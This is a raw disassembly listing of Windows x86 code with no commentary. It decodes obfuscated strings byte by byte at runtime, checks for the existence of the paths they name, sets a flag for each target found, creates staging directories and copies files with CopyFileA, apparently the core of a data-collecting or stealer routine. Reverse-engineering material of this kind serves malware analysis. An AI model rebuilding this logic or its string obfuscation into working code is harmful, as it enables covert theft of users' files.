cmp byte [ebp - 0xd], 0
je 0x4110e2
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x410fe0
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x411032
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4110d6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x411060
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x33
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4110a9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4110d6
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x36
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffefffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526900]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x2f2d2b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x24]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x13
jb 0x411110
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411140
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x200]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4111aa
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4111a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bc4
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x1ec], 0x10
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x200]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x41130d
mov dword [ebp - 0x2e], 0x322b0016
xor ecx, ecx
mov word [ebp - 0x2a], 0x32
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 5
jb 0x4111f0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x2e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411210
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x413bc9
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x2e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x200000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x41127d
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4112f6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x3b
sub esp, 0x18
lea eax, [ebp - 0x200]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x3c
mov byte [ebp - 4], 0x3a
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4112c9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4112f6
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x3d
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffdfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x411312
mov esi, closesocket
movaps xmm0, xmmword [0x526230]
xor ecx, ecx
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0x262b3d16
mov dword [ebp - 0x64], 0x393e2f26
mov byte [ebp - 0x60], 0
movzx eax, byte [ebp + ecx - 0x78]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 0x18
jb 0x411331
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411361
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x408]
lea ecx, [ebp - 0x1e8]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4113cb
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4113c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bce
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x1d4], 0x10
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x411527
mov dword [ebp - 0x19], 0x23250916
xor ecx, ecx
mov dword [ebp - 0x15], 0x23272524
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x411412
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411431
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413bd3
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x400000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x411499
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411512
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x42
sub esp, 0x18
lea eax, [ebp - 0x1e8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x41
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4114e5
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411512
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x44
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xffbfffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0x27380b16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x333825
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411540
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411570
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1d0]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4115da
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4115d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bd8
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x1bc], 0x10
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x411736
mov dword [ebp - 0x30], 0x27380b16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x333825
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411620
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411640
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413bdd
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x800000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4116a8
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411721
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x49
sub esp, 0x18
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x48
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4116f4
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411721
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x4b
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xff7fffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526440]
xor ecx, ecx
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0x3e242f23
mov dword [ebp - 0x68], 0x262b1d16
mov dword [ebp - 0x64], 0x393e2f26
mov byte [ebp - 0x60], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x7c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 0x1c
jb 0x411760
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411790
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1b8]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4117fa
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413be2
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x1a4], 0x10
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x411956
mov dword [ebp - 0x30], 0x392b1d16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x23282b
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411840
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411860
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413be7
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x1000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4118c8
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411941
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x50
sub esp, 0x18
lea eax, [ebp - 0x1b8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x51
mov byte [ebp - 4], 0x4f
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x411914
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411941
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x52
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfeffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x5266a0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x28
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x411970
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119a0
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x1a0]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411a0a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411a00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bec
push ecx
push edx
call fcn.004b9cb1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x56
mov byte [ebp - 4], 0x55
call fcn.0040b890
add esp, 0x18
test al, al
je 0x411bf8
mov dword [ebp - 0x30], 0x3e230816
xor ecx, ecx
mov dword [ebp - 0x2c], 0x382f22
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x411a60
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411a80
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413bf1
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x2000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x411aec
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411be3
mov dword [ebp - 0x1b], 0x3e232816
xor ecx, ecx
mov dword [ebp - 0x17], 0x64382f22
mov word [ebp - 0x13], 0x282e
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x411b10
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411b30
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413bf6
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00467530
or dword [ebp - 0x80], 2
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x1a0]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x18c], 0x10
push ecx
cmovae eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffd
mov esi, eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x411bb1
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411bde
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x59
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xfdffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x5265e0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0x3e2f2626
mov word [ebp - 0x12], 0x39
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x411c12
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411c42
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x188]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411cac
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411ca2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bfb
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x188]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x411e16
mov dword [ebp - 0x1e], 0x2f260f16
xor ecx, ecx
mov dword [ebp - 0x1a], 0x25383e29
mov dword [ebp - 0x16], 0x392b0924
mov word [ebp - 0x12], 0x22
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x411d00
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411d20
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413c00
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x4000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x411d88
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411e01
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x5e
sub esp, 0x18
lea eax, [ebp - 0x188]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x5f
mov byte [ebp - 4], 0x5d
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x411dd4
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411e01
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x60
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfbffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526430]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x20642f38
mov dword [ebp - 0x14], 0x242539
movzx eax, byte [ebp + ecx - 0x28]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0x17
jb 0x411e31
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411e61
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x170]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x63
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x411ecb
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411ec1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c05
push ecx
push edx
call fcn.004b9cb1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x170]
mov dword [ebp - 0x2c], esp
mov ecx, esp
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x64
mov byte [ebp - 4], 0x63
call fcn.0040b890
add esp, 0x18
test al, al
je 0x4120a8
mov dword [ebp - 0x19], 0x24230816
xor ecx, ecx
mov dword [ebp - 0x15], 0x2f29242b
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x411f20
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x19]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411f40
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413c0a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x8000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x411fac
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412093
lea eax, [ebp - 0x20]
push eax
call fcn.00413cd0
mov esi, eax
